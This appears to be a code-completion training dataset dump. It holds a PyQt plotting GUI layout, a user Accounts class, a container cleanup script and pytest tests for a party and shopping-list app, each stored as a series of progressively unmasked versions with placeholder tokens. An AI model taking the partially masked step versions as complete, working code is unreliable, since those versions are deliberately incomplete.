self.horizontalLayout_5.addWidget(self.label_8)\n self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().hasHeightForWidth())\n self.comboBox_2.setSizePolicy(sizePolicy)\n self.comboBox_2.setObjectName(_fromUtf8(\"comboBox_2\"))\n self.horizontalLayout_5.addWidget(self.comboBox_2)\n self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().hasHeightForWidth())\n self.checkBox.setSizePolicy(sizePolicy)\n self.checkBox.setObjectName(_fromUtf8(\"checkBox\"))\n self.horizontalLayout_5.addWidget(self.checkBox)\n self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().hasHeightForWidth())\n self.plotImageButton.setSizePolicy(sizePolicy)\n self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotImageButton.setObjectName(_fromUtf8(\"plotImageButton\"))\n self.horizontalLayout_5.addWidget(self.plotImageButton)\n self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)\n self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().hasHeightForWidth())\n self.clearPlotButton.setSizePolicy(sizePolicy)\n self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))\n self.clearPlotButton.setObjectName(_fromUtf8(\"clearPlotButton\"))\n self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)\n self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))\n self.horizontalLayoutWidget.setObjectName(_fromUtf8(\"horizontalLayoutWidget\"))\n self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)\n self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)\n self.horizontalLayout.setObjectName(_fromUtf8(\"horizontalLayout\"))\n self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)\n self.label_9.setObjectName(_fromUtf8(\"label_9\"))\n self.horizontalLayout.addWidget(self.label_9)\n self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().hasHeightForWidth())\n self.pushButton.setSizePolicy(sizePolicy)\n self.pushButton.setMinimumSize(QtCore.QSize(80, 15))\n self.pushButton.setObjectName(_fromUtf8(\"pushButton\"))\n self.horizontalLayout.addWidget(self.pushButton)\n self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)\n sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().hasHeightForWidth())\n self.plotStripsButton.setSizePolicy(sizePolicy)\n self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))\n self.plotStripsButton.setObjectName(_fromUtf8(\"plotStripsButton\"))\n self.horizontalLayout.addWidget(self.plotStripsButton)\n self.verticalLayout.addWidget(self.groupBox_2)\n MainWindow.setCentralWidget(self.centralwidget)\n self.statusbar = QtGui.QStatusBar(MainWindow)\n self.statusbar.setObjectName(_fromUtf8(\"statusbar\"))\n MainWindow.setStatusBar(self.statusbar)\n self.toolBar = QtGui.QToolBar(MainWindow)\n self.toolBar.setObjectName(_fromUtf8(\"toolBar\"))\n MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)\n self.menuBar = QtGui.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))\n self.menuBar.setObjectName(_fromUtf8(\"menuBar\"))\n MainWindow.setMenuBar(self.menuBar)\n self.actionOpen = QtGui.QAction(MainWindow)\n self.actionOpen.setVisible(True)\n self.actionOpen.setObjectName(_fromUtf8(\"actionOpen\"))\n self.actionQuit = QtGui.QAction(MainWindow)\n self.actionQuit.setObjectName(_fromUtf8(\"actionQuit\"))\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\", None))\n self.groupBox_3.setTitle(_translate(\"MainWindow\", \"PLOT WINDOW\", None))\n self.groupBox.setTitle(_translate(\"MainWindow\", \" BINARY DATA CONVERSION\", None))\n self.label_7.setText(_translate(\"MainWindow\", \" OUTPUT FILE \", None))\n self.browserButton_7.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_7.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.label_11.setText(_translate(\"MainWindow\", \" DECODER FILE\", None))\n self.browserButton.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_3.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\qtGSD\\\\gsd_parse.out\", None))\n self.label_12.setText(_translate(\"MainWindow\", \" INPUT FILE \", None))\n self.browserButton_3.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.filePathEdit_5.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.runButton.setText(_translate(\"MainWindow\", \"Run\", None))\n self.groupBox_2.setTitle(_translate(\"MainWindow\", \" PLOT DATA\", None))\n self.label_3.setText(_translate(\"MainWindow\", \" DATA FILE \", None))\n self.browserButton_4.setText(_translate(\"MainWindow\", \"Browse\", None))\n self.loadButton.setText(_translate(\"MainWindow\", \"Load\", None))\n self.filePathEdit_4.setText(_translate(\"MainWindow\", \"D:\\\\detdev\\\\maia\\\\python\\\\\", None))\n self.label_4.setText(_translate(\"MainWindow\", \" PLOT STRIP \", None))\n self.plotButton.setText(_translate(\"MainWindow\", \"Plot\", None))\n self.label_5.setText(_translate(\"MainWindow\", \" PLOT SERIES\", None))\n self.label.setText(_translate(\"MainWindow\", \"to\", None))\n self.plotRangeButton.setText(_translate(\"MainWindow\", \"Plot\", None))\n self.label_8.setText(_translate(\"MainWindow\", \" PLOT SPECTRA AS 2-D IMAGE\", None))\n self.checkBox.setText(_translate(\"MainWindow\", \"Log\", None))\n self.plotImageButton.setText(_translate(\"MainWindow\", \"Plot Image\", None))\n self.clearPlotButton.setText(_translate(\"MainWindow\", \"Clear\", None))\n self.label_9.setText(_translate(\"MainWindow\", \" PLOT TOTAL COUNTS vs STRIP\", None))\n self.pushButton.setText(_translate(\"MainWindow\", \"Update\", None))\n self.plotStripsButton.setText(_translate(\"MainWindow\", \"Plot Strips\", None))\n self.toolBar.setWindowTitle(_translate(\"MainWindow\", \"toolBar\", None))\n self.actionOpen.setText(_translate(\"MainWindow\", \"Open\", None))\n self.actionQuit.setText(_translate(\"MainWindow\", \"Quit\", None))\n\n", "step-ids": [ 1, 3, 4, 5, 6 ] }
[ 1, 3, 4, 5, 6 ]
<|reserved_special_token_0|> class Accounts(object): <|reserved_special_token_0|> def __init__(self): self.users = {} def add_user(self, user): if user.id in self.users: raise UserAlreadyExist else: self.users.update({user.id: user}) <|reserved_special_token_0|> def check_user(self, email): if email in self.users: return self.users[email] <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Accounts(object): <|reserved_special_token_0|> def __init__(self): self.users = {} def add_user(self, user): if user.id in self.users: raise UserAlreadyExist else: self.users.update({user.id: user}) <|reserved_special_token_0|> def check_user(self, email): if email in self.users: return self.users[email] def all_users(self): return self.users <|reserved_special_token_1|> <|reserved_special_token_0|> class Accounts(object): <|reserved_special_token_0|> def __init__(self): self.users = {} def add_user(self, user): if user.id in self.users: raise UserAlreadyExist else: self.users.update({user.id: user}) def remove_user(self, email): """This Method removes a user from users dictonary using his/her unique email""" try: self.users.pop(email) except KeyError: raise UserDoesNotExist def check_user(self, email): if email in self.users: return self.users[email] def all_users(self): return self.users <|reserved_special_token_1|> <|reserved_special_token_0|> class Accounts(object): """ Creates an Account where users can be stored """ def __init__(self): self.users = {} def add_user(self, user): if user.id in self.users: raise UserAlreadyExist else: self.users.update({user.id: user}) def remove_user(self, email): """This Method removes a user from users dictonary using his/her unique email""" try: self.users.pop(email) except KeyError: raise UserDoesNotExist def check_user(self, email): if email in self.users: return self.users[email] def all_users(self): return self.users <|reserved_special_token_1|> from app.exceptions import UserAlreadyExist, UserDoesNotExist class Accounts(object): """ Creates an Account where users can be stored """ def __init__(self): self.users = {} def add_user(self, user): if user.id in self.users: raise UserAlreadyExist else: self.users.update({user.id: user}) def remove_user(self, email): """This Method removes a user from users dictonary using his/her unique email""" try: self.users.pop(email) except KeyError: raise UserDoesNotExist def check_user(self, email): if email in self.users: return self.users[email] def all_users(self): return self.users
flexible
{ "blob_id": "88cc4ae4137cf9c0e9c39874b36f7a2770550f96", "index": 5431, "step-1": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n <mask token>\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n <mask token>\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n", "step-3": "<mask token>\n\n\nclass Accounts(object):\n <mask token>\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n\n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n", "step-4": "<mask token>\n\n\nclass Accounts(object):\n \"\"\" Creates an Account where users can be stored \"\"\"\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n\n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users\n", "step-5": "from app.exceptions import UserAlreadyExist, UserDoesNotExist\n\nclass Accounts(object):\n \"\"\" Creates an Account where users can be stored \"\"\"\n\n def __init__(self):\n self.users = {}\n\n def add_user(self, user):\n if user.id in self.users:\n raise UserAlreadyExist\n else:\n self.users.update({user.id: user})\n \n def remove_user(self, email):\n \"\"\"This Method removes a user from users dictonary using his/her\n unique email\"\"\"\n try:\n self.users.pop(email)\n except KeyError:\n raise UserDoesNotExist\n\n def check_user(self, email):\n if email in self.users:\n return self.users[email]\n\n def all_users(self):\n return self.users", "step-ids": [ 4, 5, 6, 7, 9 ] }
[ 4, 5, 6, 7, 9 ]
import sys import time from cli.utils import get_container_runtime, get_containers, run_shell_cmd runtime = get_container_runtime() def rm(ids): cmd = f'{runtime} rm {" ".join(ids)}' sys.stdout.write(f'{cmd}\n') run_shell_cmd(cmd) def stop(ids): cmd = f'{runtime} stop {" ".join(ids)}' sys.stdout.write(f'{cmd}\n') run_shell_cmd(cmd) def undeploy_containers(): containers = [ container for _, container in get_containers().items() ] running = [ c for c in containers if c.up ] if len(running) > 0: stop([ container.id for container in running ]) time.sleep(5) containers = [ container for _, container in get_containers().items() ] if len(containers) > 0: rm([ container.id for container in containers ]) if __name__ == '__main__': undeploy_containers()
normal
{ "blob_id": "eb3a32c17d8e5e9f717e813d5612d077c8feac48", "index": 7145, "step-1": "<mask token>\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\n<mask token>\n", "step-3": "<mask token>\nruntime = get_container_runtime()\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\nif __name__ == '__main__':\n undeploy_containers()\n", "step-4": "import sys\nimport time\nfrom cli.utils import get_container_runtime, get_containers, run_shell_cmd\nruntime = get_container_runtime()\n\n\ndef rm(ids):\n cmd = f\"{runtime} rm {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f\"{runtime} stop {' '.join(ids)}\"\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [container for _, container in get_containers().items()]\n running = [c for c in containers if c.up]\n if len(running) > 0:\n stop([container.id for container in running])\n time.sleep(5)\n containers = [container for _, container in get_containers().items()]\n if len(containers) > 0:\n rm([container.id for container in containers])\n\n\nif __name__ == '__main__':\n undeploy_containers()\n", "step-5": "import sys\nimport time\nfrom cli.utils import get_container_runtime, get_containers, run_shell_cmd\n\nruntime = get_container_runtime()\n\ndef rm(ids):\n cmd = f'{runtime} rm {\" \".join(ids)}'\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef stop(ids):\n cmd = f'{runtime} stop {\" \".join(ids)}'\n sys.stdout.write(f'{cmd}\\n')\n run_shell_cmd(cmd)\n\n\ndef undeploy_containers():\n containers = [ container for _, container in get_containers().items() ]\n running = [ c for c in containers if c.up ]\n if len(running) > 0:\n stop([ container.id for container in running ])\n\n time.sleep(5)\n containers = [ container for _, container in get_containers().items() ]\n\n if len(containers) > 0:\n rm([ container.id for container in containers ])\n\n\nif __name__ == '__main__':\n undeploy_containers()", "step-ids": [ 2, 3, 5, 6, 7 ] }
[ 2, 3, 5, 6, 7 ]
<|reserved_special_token_0|> def test_aPartywithOneGuestShouldHaveOnePartyGuest(): party = Party() lisa = Guest('Lisa', 'female') party.attendedBy(lisa) assert 1 == party.numberOfGuests() def test_aPartywithThreeGuestsShouldHaveThreeGuests(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert 3 == party.numberOfGuests() <|reserved_special_token_0|> def test_aPartyShouldHaveALocation(): party = Party() party.setLocation('my House') assert 'my House' == party.getLocation() def test_aGuestShouldRevealHerName(): guest1 = Guest('Lisa', 'female') assert 'Lisa' == guest1.hasName() <|reserved_special_token_0|> def test_weShouldBeAbleToAddItemsToShoppingList(): shoppingList = ShoppingList() shoppingList.add('milk') assert shoppingList.getItems() == ['milk'] def test_createShoppingListBasedOnParty(): shoppingList = ShoppingList() party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) shoppingList.baseOn(party) assert shoppingList.getItems() == ['wine for 4', 'food for 4'] <|reserved_special_token_1|> <|reserved_special_token_0|> def test_aPartywithNoGuestsShouldHaveNoPartyGuests(): party = Party() assert 0 == party.numberOfGuests() def test_aPartywithOneGuestShouldHaveOnePartyGuest(): party = Party() lisa = Guest('Lisa', 'female') party.attendedBy(lisa) assert 1 == party.numberOfGuests() def test_aPartywithThreeGuestsShouldHaveThreeGuests(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert 3 == party.numberOfGuests() def test_aGuestShouldBeAbleToLeaveAParty(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) party.leftBy(rob) assert 2 == party.numberOfGuests() def test_aPartyShouldHaveALocation(): party = Party() party.setLocation('my House') assert 'my House' == party.getLocation() def test_aGuestShouldRevealHerName(): guest1 = Guest('Lisa', 'female') assert 'Lisa' == guest1.hasName() <|reserved_special_token_0|> def test_weShouldBeAbleToAddItemsToShoppingList(): shoppingList = ShoppingList() shoppingList.add('milk') assert shoppingList.getItems() == ['milk'] def test_createShoppingListBasedOnParty(): shoppingList = ShoppingList() party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) shoppingList.baseOn(party) assert shoppingList.getItems() == ['wine for 4', 'food for 4'] <|reserved_special_token_1|> <|reserved_special_token_0|> def test_aPartywithNoGuestsShouldHaveNoPartyGuests(): party = Party() assert 0 == party.numberOfGuests() def test_aPartywithOneGuestShouldHaveOnePartyGuest(): party = Party() lisa = Guest('Lisa', 'female') party.attendedBy(lisa) assert 1 == party.numberOfGuests() def test_aPartywithThreeGuestsShouldHaveThreeGuests(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert 3 == party.numberOfGuests() def test_aGuestShouldBeAbleToLeaveAParty(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) party.leftBy(rob) assert 2 == party.numberOfGuests() def test_aPartyShouldHaveALocation(): party = Party() party.setLocation('my House') assert 'my House' == party.getLocation() def test_aGuestShouldRevealHerName(): guest1 = Guest('Lisa', 'female') assert 'Lisa' == guest1.hasName() def test_weShouldKnowWhoIsAtTheParty(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert ['Lisa', 'Rob', 'susan'] == party.getAttendees() <|reserved_special_token_0|> def test_weShouldBeAbleToAddItemsToShoppingList(): shoppingList = ShoppingList() shoppingList.add('milk') assert shoppingList.getItems() == ['milk'] def test_createShoppingListBasedOnParty(): shoppingList = ShoppingList() party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) shoppingList.baseOn(party) assert shoppingList.getItems() == ['wine for 4', 'food for 4'] <|reserved_special_token_1|> <|reserved_special_token_0|> def test_aPartywithNoGuestsShouldHaveNoPartyGuests(): party = Party() assert 0 == party.numberOfGuests() def test_aPartywithOneGuestShouldHaveOnePartyGuest(): party = Party() lisa = Guest('Lisa', 'female') party.attendedBy(lisa) assert 1 == party.numberOfGuests() def test_aPartywithThreeGuestsShouldHaveThreeGuests(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert 3 == party.numberOfGuests() def test_aGuestShouldBeAbleToLeaveAParty(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) party.leftBy(rob) assert 2 == party.numberOfGuests() def test_aPartyShouldHaveALocation(): party = Party() party.setLocation('my House') assert 'my House' == party.getLocation() def test_aGuestShouldRevealHerName(): guest1 = Guest('Lisa', 'female') assert 'Lisa' == guest1.hasName() def test_weShouldKnowWhoIsAtTheParty(): party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert ['Lisa', 'Rob', 'susan'] == party.getAttendees() def test_weShouldBeAbleToCreateAnEmptyShoppingList(): shoppingList = ShoppingList() assert shoppingList.getItems() == [] def test_weShouldBeAbleToAddItemsToShoppingList(): shoppingList = ShoppingList() shoppingList.add('milk') assert shoppingList.getItems() == ['milk'] def test_createShoppingListBasedOnParty(): shoppingList = ShoppingList() party = Party() lisa = Guest('Lisa', 'female') rob = Guest('Rob', 'male') susan = Guest('susan', 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) shoppingList.baseOn(party) assert shoppingList.getItems() == ['wine for 4', 'food for 4'] <|reserved_special_token_1|> import unittest from app.party import Party from app.guest import Guest from app.shoppingList import ShoppingList def test_aPartywithNoGuestsShouldHaveNoPartyGuests(): party = Party() assert 0 == party.numberOfGuests() def test_aPartywithOneGuestShouldHaveOnePartyGuest(): party = Party() lisa = Guest("Lisa", 'female') party.attendedBy(lisa) assert 1 == party.numberOfGuests() def test_aPartywithThreeGuestsShouldHaveThreeGuests(): party = Party() lisa = Guest("Lisa", 'female') rob = Guest("Rob", 'male') susan = Guest("susan", 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert 3 == party.numberOfGuests() def test_aGuestShouldBeAbleToLeaveAParty(): party = Party() lisa = Guest("Lisa", 'female') rob = Guest("Rob", 'male') susan = Guest("susan", 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) party.leftBy(rob) assert 2 == party.numberOfGuests() def test_aPartyShouldHaveALocation(): party = Party() party.setLocation("my House") assert "my House" == party.getLocation() def test_aGuestShouldRevealHerName(): guest1 = Guest("Lisa", "female") assert "Lisa" == guest1.hasName() def test_weShouldKnowWhoIsAtTheParty(): party = Party() lisa = Guest("Lisa", 'female') rob = Guest("Rob", 'male') susan = Guest("susan", 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) assert ["Lisa", "Rob", "susan"] == party.getAttendees() def test_weShouldBeAbleToCreateAnEmptyShoppingList(): shoppingList = ShoppingList() assert shoppingList.getItems() == [] def test_weShouldBeAbleToAddItemsToShoppingList(): shoppingList = ShoppingList() shoppingList.add("milk") assert shoppingList.getItems() == ["milk"] def test_createShoppingListBasedOnParty(): shoppingList = ShoppingList() party = Party() lisa = Guest("Lisa", 'female') rob = Guest("Rob", 'male') susan = Guest("susan", 'female') party.attendedBy(lisa) party.attendedBy(rob) party.attendedBy(susan) shoppingList.baseOn(party) assert shoppingList.getItems() == ["wine for 4", "food for 4"]
flexible
{ "blob_id": "a8df6b575afbf6db415e0676a796623f2a9b7a70", "index": 8416, "step-1": "<mask token>\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\n<mask token>\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n", "step-2": "<mask token>\n\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n", "step-3": "<mask token>\n\n\ndef test_aPartywithNoGuestsShouldHaveNoPartyGuests():\n party = Party()\n assert 0 == party.numberOfGuests()\n\n\ndef test_aPartywithOneGuestShouldHaveOnePartyGuest():\n party = Party()\n lisa = Guest('Lisa', 'female')\n party.attendedBy(lisa)\n assert 1 == party.numberOfGuests()\n\n\ndef test_aPartywithThreeGuestsShouldHaveThreeGuests():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert 3 == party.numberOfGuests()\n\n\ndef test_aGuestShouldBeAbleToLeaveAParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n party.leftBy(rob)\n assert 2 == party.numberOfGuests()\n\n\ndef test_aPartyShouldHaveALocation():\n party = Party()\n party.setLocation('my House')\n assert 'my House' == party.getLocation()\n\n\ndef test_aGuestShouldRevealHerName():\n guest1 = Guest('Lisa', 'female')\n assert 'Lisa' == guest1.hasName()\n\n\ndef test_weShouldKnowWhoIsAtTheParty():\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n assert ['Lisa', 'Rob', 'susan'] == party.getAttendees()\n\n\n<mask token>\n\n\ndef test_weShouldBeAbleToAddItemsToShoppingList():\n shoppingList = ShoppingList()\n shoppingList.add('milk')\n assert shoppingList.getItems() == ['milk']\n\n\ndef test_createShoppingListBasedOnParty():\n shoppingList = ShoppingList()\n party = Party()\n lisa = Guest('Lisa', 'female')\n rob = Guest('Rob', 'male')\n susan = Guest('susan', 'female')\n party.attendedBy(lisa)\n party.attendedBy(rob)\n party.attendedBy(susan)\n shoppingList.baseOn(party)\n assert shoppingList.getItems() == ['wine for 4', 'food for 4']\n", "step-4": "<mask token>\n\n\ndef 